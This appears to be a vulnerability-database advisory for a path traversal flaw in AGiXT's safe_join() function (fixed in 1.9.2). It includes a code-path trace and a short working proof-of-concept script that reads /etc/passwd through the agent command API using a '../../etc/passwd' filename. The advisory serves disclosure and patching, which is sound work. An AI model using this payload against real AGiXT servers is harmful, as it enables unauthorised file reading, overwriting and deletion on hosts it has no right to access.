CVE-2026-39981High· 8.8▾ TwilightAGiXT Vulnerable to Path Traversal in safe_join()
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 48.4 · likelihood 0.3 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.3%
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.
agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)
# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
import requests
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
headers = {"Authorization": f"Bearer {TOKEN}"}
payload = {
"command_name": "read_file",
"command_args": {
"filename": "../../etc/passwd"
}
}
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
agixt < 1.9.2Upgrade to a patched release:
agixt 1.9.2